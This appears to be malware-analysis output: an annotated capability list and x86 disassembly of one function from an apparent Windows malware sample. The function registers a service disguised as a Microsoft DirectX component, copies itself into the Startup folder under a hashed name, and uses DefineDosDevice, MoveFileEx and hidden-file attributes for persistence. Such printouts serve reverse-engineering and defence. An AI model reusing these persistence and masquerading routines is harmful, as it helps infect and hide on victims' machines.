Function at 0x4064b0
Capabilities:
Check if file exists
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create directory
Get common file path
Get file attributes
Get startup folder
Move file
Set file attributes
Terminate process
Write file to startup folder

Disassembly:
sub esp, 0x540
push ebx
push ebp
push esi
push edi
mov ecx, 0xa
xor eax, eax
lea edi, [esp + 0x20]
xor ebx, ebx
push 0x7f04
push ebx
rep stosd dword es:[edi], eax
mov dword [esp + 0x28], 2
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ebx
call dword [sym.imp.USER32.dll_LoadIconA]
push 0x7f8b
push ebx
mov dword [esp + 0x3c], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
push 2
mov dword [esp + 0x3c], eax
call dword [sym.imp.GDI32.dll_GetStockObject]
mov dword [esp + 0x44], ebx
mov dword [esp + 0x3c], eax
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.USER32.dll_RegisterClassA]
call dword [sym.imp.USER32.dll_GetInputState]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_PostThreadMessageA]
push ebx
push ebx
lea ecx, [esp + 0xa0]
push ebx
push ecx
call dword [sym.imp.USER32.dll_GetMessageA]
lea edx, [esp + 0x1b8]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x1b8]
push 0x104
push edx
rep stosd dword es:[edi], eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x1b8]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x40658e
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x40658e
push ebx
call sub.MSVCRT.dll_exit
cmp dword [0x418714], ebx
jne 0x4067c4
mov eax, dword [0x41870c]
mov ebp, 1
cmp eax, ebp
jne 0x4066c9
mov ecx, dword [esp + 0x55c]
push str.Win7
push ecx
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
je 0x4065d6
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00405dd0
push 0x32
call esi
jmp 0x4065cb
call fcn.00406e50
mov esi, dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
test eax, eax
je 0x406606
lea edx, [esp + 0x10]
mov dword [esp + 0x10], str.DirectX_ufo
push edx
mov dword [esp + 0x18], 0x406420
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
call esi
jmp 0x40661d
push str.Microsoft_R__DirectX_ruq_for_Windows_R_.
push str.DirectX_Remover_lcg_for_Windows_R_.
push str.DirectX_ufo
call fcn.004067f0
add esp, 0xc
cmp dword [0x41870c], ebp
jne 0x4066c9
call fcn.00406e50
test eax, eax
je 0x4066ab
lea eax, [esp + 0x10]
mov dword [esp + 0x10], str.DirectX_ufo
push eax
mov dword [esp + 0x18], 0x406060
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
call esi
lea ecx, [esp + 0x3c0]
push ecx
push 0x202
call dword [0x41a174]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebp, dword [0x41a138]
mov edx, dword [0x41ab70]
push 0xffffffffffffffff
push edx
call edi
mov eax, dword [0x41ab70]
push eax
call ebx
mov ecx, dword [0x41ab68]
push ecx
call ebp
push 0x12c
mov dword [0x418284], 1
call esi
jmp 0x40667c
push str.Microsoft_R__DirectX_ruq_for_Windows_R_.
push str.DirectX_Remover_lcg_for_Windows_R_.
push str.DirectX_ufo
call fcn.004067f0
add esp, 0xc
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [0x418710], ebp
jne 0x4067d5
push ebx
lea edx, [esp + 0xb8]
push 7
push edx
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
test eax, eax
je 0x4067d5
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
push str.aeea06288d926b9eba59409f2e01aba6
lea eax, [esp + 0x4c]
push str._s.exe
push eax
call esi
lea ecx, [esp + 0x54]
lea edx, [esp + 0xc0]
push ecx
push edx
lea eax, [esp + 0x2d0]
push 0x418038
push eax
call esi
add esp, 0x1c
lea ecx, [esp + 0x2bc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
cmp eax, 0xffffffff
jne 0x4067b9
lea edx, [esp + 0x48]
lea eax, [esp + 0xb4]
push edx
push eax
lea ecx, [esp + 0x3c8]
push str.___s_s
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0x3c0]
push edx
push str.agmkis2
push ebp
call dword [sym.imp.KERNEL32.dll_DefineDosDeviceA]
push 0x64
call edi
push ebx
lea eax, [esp + 0x1bc]
push str.._agmkis2
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 4
lea ecx, [esp + 0x1bc]
push ebx
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
lea edx, [esp + 0xb4]
push 2
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [esp + 0xb4]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call fcn.00405dd0
push 0x32
call edi
jmp 0x4067b9
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00405dd0
push 0x32
call esi
jmp 0x4067ca
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x540
ret 0x10